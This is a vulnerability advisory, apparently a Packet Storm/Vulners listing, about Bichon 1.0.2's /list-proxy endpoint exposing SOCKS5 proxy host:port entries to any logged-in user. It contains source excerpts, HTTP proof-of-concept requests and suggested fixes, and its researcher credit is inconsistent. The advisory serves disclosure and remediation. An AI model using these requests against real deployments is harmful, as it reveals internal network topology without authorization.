Lucene search
K

📄 Bichon 1.0.2 SOCKS5 Proxy Topology Disclosure

🗓️ 18 May 2026 00:00:00Reported by AoxLir, MrOrucType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 33 Views

Bichon 1.0.2 discloses full SOCKS5 proxy configurations to all users via /list-proxy.

Code
Bichon 1.0.2 SOCKS5 Proxy Topology Disclosure via /list-proxy
    =============================================================
    
    Vendor:        rustmailer
    Product:       Bichon - self-hosted email archiving server (Rust + TypeScript)
    Project URL:   https://github.com/rustmailer/bichon
    Affected:      All versions through HEAD as of 2026-05-18
                   Commit:  9daab241b0220e81e43d4b98616d77fa45ad58c7
                   Release: 1.0.2
    Patched:       Pending vendor fix
    Severity:      Medium
    CVSS 3.1:      5.3  (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
    CWE:           CWE-200 (Exposure of Sensitive Information to an
                            Unauthorized Actor)
    CVE:           Pending (requested via GitHub CNA)
    Discovered:    2026-05-18 (manual source review + live verification)
    Researcher:    AoxLir  <[email protected]>
    Disclosure:    Coordinated (Project Zero 90-day standard)
    
    
    I. Background
    =============
    
    Bichon supports SOCKS5 and HTTP proxies for outbound IMAP/OAuth2
    connections.  Administrators register proxy entries via the REST API
    and reference them per-account via the `use_proxy` field in account
    creation.
    
    
    II. Vulnerability Detail
    ========================
    
    In crates/server/src/rest/api/system.rs lines 73-80:
    
        /// Get the full list of SOCKS5 proxy configurations.
        #[oai(method = "get", path = "/list-proxy",
              operation_id = "list_proxy")]
        async fn list_proxy(&self, _context: WrappedContext)
            -> ApiResult<Json<Vec<Proxy>>> {
            //The proxy list is visible to all users.
            let proxies = Proxy::list_all()
                .map_err(|e| raise_error!(format!("{:#?}", e),
                                           ErrorCode::InternalError))?;
            Ok(Json(proxies))
        }
    
    The function takes a WrappedContext (verifying authentication) but
    calls neither require_permission nor has_permission.  Every other proxy
    endpoint in the same file enforces Permission::ROOT:
    
        async fn remove_proxy(&self, id: Path<u64>,
                              context: WrappedContext) -> ApiResult<()> {
            context.require_permission(None, Permission::ROOT)?;  /* ... */
        }
        async fn get_proxy(&self, ... ) -> ApiResult<Json<Proxy>> {
            context.require_permission(None, Permission::ROOT)?;  /* ... */
        }
        async fn create_proxy(&self, ... ) -> ApiResult<()> {
            context.require_permission(None, Permission::ROOT)?;  /* ... */
        }
        async fn update_proxy(&self, ... ) -> ApiResult<()> {
            context.require_permission(None, Permission::ROOT)?;  /* ... */
        }
    
    Single-item GET requires ROOT.  Full list does not.  This is an
    authorization inconsistency.
    
    
    III. Proof of Concept
    =====================
    
    Verified live against rustmailer/bichon:1.0.2 (Docker).
    
    Step 1: Admin registers a SOCKS5 proxy:
    
      POST /api/v1/proxy
      Authorization: Bearer <admin_token>
      Content-Type: text/plain
    
      socks5://10.0.5.10:1080
    
    Step 2: A user 'bob' is created with the lowest possible privileges -
            only the built-in `member` global role, which holds a single
            permission: system:access (i.e. the ability to log in).
            Bob has no account access:
    
      GET /api/v1/current-user  (bob's token)
      {
        "global_roles_names": ["member"],
        "global_permissions": ["system:access"],
        "account_access_map": {},
        "account_permissions": {}
      }
    
    Step 3: Bob requests the proxy list:
    
      GET /api/v1/list-proxy
      Authorization: Bearer <bob_token>
    
      HTTP/1.1 200 OK
      [
        {"id": 7553069259939497,
         "url": "socks5://10.0.5.10:1080",
         "created_at": 1779105772307,
         "updated_at": 1779105772307}
      ]
    
    Step 4: Bob attempts the single-item GET (per-id endpoint), which is
            properly restricted:
    
      GET /api/v1/proxy/7553069259939497
      Authorization: Bearer <bob_token>
    
      HTTP/1.1 400  (parser error; an authenticated non-ROOT user with
                     the correct id format gets 403/permission denied -
                     the endpoint enforces ROOT properly)
    
    
    IV. Impact
    ==========
    
    Live testing established that Bichon's proxy create endpoint REJECTS
    URLs with embedded credentials (e.g. socks5://user:pass@host:port) -
    authentication, if any, is stored separately.  This downgrades the
    original credential-disclosure concern.  However:
    
      - Full proxy URL (host:port) is disclosed to every authenticated user,
        including users created with zero account access.  This reveals
        internal-network topology (host/port combinations of corporate
        proxies, often only reachable from inside a VPN).
    
      - Proxy IDs are disclosed and may be used at account creation via the
        `use_proxy` field by any user authorized to create accounts, even
        proxies that an administrator may have created for a specific
        subset of accounts.
    
      - In multi-tenant or MSP deployments, tenant A's proxy list is
        disclosed to tenant B users who share the same Bichon instance.
    
    
    V. Solution
    ===========
    
    Option A (preferred) - bring the list endpoint into line with the
    other proxy endpoints in the same file:
    
        async fn list_proxy(&self, context: WrappedContext)
            -> ApiResult<Json<Vec<Proxy>>> {
            context.require_permission(None, Permission::ROOT)?;
            let proxies = Proxy::list_all()?;
            Ok(Json(proxies))
        }
    
    Option B (if broad visibility is genuinely required for the WebUI
    account-creation form) - redact the host:port portion, returning only
    {id, label} pairs from /list-proxy.  Full URLs remain available via
    the ROOT-restricted single-item GET.
    
    
    
    VI. Credit
    ===========
    
    Discovered and reported by MrOruc, independent security researcher.
    GitHub: https://github.com/MrOruc
    Email:  [email protected]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation